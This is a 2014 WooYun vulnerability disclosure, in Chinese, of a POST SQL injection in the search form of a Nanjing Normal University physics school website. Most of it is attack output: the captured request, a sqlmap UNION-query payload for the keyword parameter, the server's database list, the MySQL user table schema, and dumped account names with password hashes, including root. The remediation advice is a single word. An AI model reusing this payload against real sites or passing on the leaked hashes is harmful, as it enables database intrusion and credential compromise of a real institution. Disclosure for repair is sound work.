漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-058828
漏洞标题:南京师范大学物理科学与技术学院sql注入漏洞
相关厂商:南京师范大学
漏洞作者: bitcoin
提交时间:2014-04-28 23:39
修复时间:2014-05-03 23:40
公开时间:2014-05-03 23:40
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:13
漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-04-28: 细节已通知厂商并且等待厂商处理中
2014-05-03: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
南京师范大学物理科学与技术学院sql注入漏洞
详细说明:
该漏洞为post注入漏洞,
具体存在于页面
http://physics.njnu.edu.cn/reports.php?typeid=&page=2
的关键词搜索处,
搜素1111
抓包
POST /search.php HTTP/1.1
Host: physics.njnu.edu.cn
Proxy-Connection: keep-alive
Content-Length: 33
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://physics.njnu.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/29.0.1547.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://physics.njnu.edu.cn/reports.php?typeid=&page=2
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
keyword=1111&login=+%CB%D1%CB%F7+
得到是对参数keyword过滤不严,导致注入
请出sqlmap
Place: POST
Parameter: keyword
Type: UNION query
Title: MySQL UNION query (NULL) - 10 columns
Payload: keyword=1111' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71
67706771,0x4250766c726d514c6f6a,0x71786a6a71),NULL,NULL,NULL,NULL#&login= %CB%D1
%CB%F7
---
web server operating system: Linux CentOS 5.10
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL 5
available databases [18]:
[*] 94_2012
[*] aosai
[*] bysj
[*] cps2011
[*] cscsp5th
[*] hep10th
[*] information_schema
[*] mysql
[*] optelec
[*] physics
[*] School
[*] temp
[*] test
[*] ultrax
[*] UniAddressBook
[*] wky
[*] xmmsdss
[*] zzq
Database: mysql
[17 tables]
+---------------------------+
| user |
| columns_priv |
| db |
| func |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| proc |
| procs_priv |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
+---------------------------+
Database: mysql
Table: user
[31 columns]
+-----------------------+-----------------------------------+
| Column | Type |
+-----------------------+-----------------------------------+
| User | varchar(16) |
| Alter_priv | enum('N','Y') |
| Create_priv | enum('N','Y') |
| Create_tmp_table_priv | enum('N','Y') |
| Delete_priv | enum('N','Y') |
| Drop_priv | enum('N','Y') |
| Execute_priv | enum('N','Y') |
| File_priv | enum('N','Y') |
| Grant_priv | enum('N','Y') |
| Host | varchar(60) |
| Index_priv | enum('N','Y') |
| Insert_priv | enum('N','Y') |
| Lock_tables_priv | enum('N','Y') |
| max_connections | int(11) unsigned |
| max_questions | int(11) unsigned |
| max_updates | int(11) unsigned |
| Password | varchar(41) |
| Process_priv | enum('N','Y') |
| References_priv | enum('N','Y') |
| Reload_priv | enum('N','Y') |
| Repl_client_priv | enum('N','Y') |
| Repl_slave_priv | enum('N','Y') |
| Select_priv | enum('N','Y') |
| Show_db_priv | enum('N','Y') |
| Shutdown_priv | enum('N','Y') |
| ssl_cipher | blob |
| ssl_type | enum('','ANY','X509','SPECIFIED') |
| Super_priv | enum('N','Y') |
| Update_priv | enum('N','Y') |
| x509_issuer | blob |
| x509_subject | blob |
+-----------------------+-----------------------------------+
Database: mysql
Table: user
[6 entries]
+--------+------------------+
| User | Password |
+--------+------------------+
| aosai | 43cb0d5871fee314 |
| root | 42dee8e619a15467 |
| root | 42dee8e619a15467 |
| ultrax | 49a63e205da6feef |
| weixin | 43cb0d5871fee314 |
| wky | 0abc35bf30d4d20b |
+--------+------------------+
漏洞证明:
如上
修复方案:
过滤
版权声明:转载请注明来源 bitcoin@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2014-05-03 23:40
厂商回复:
最新状态:
暂无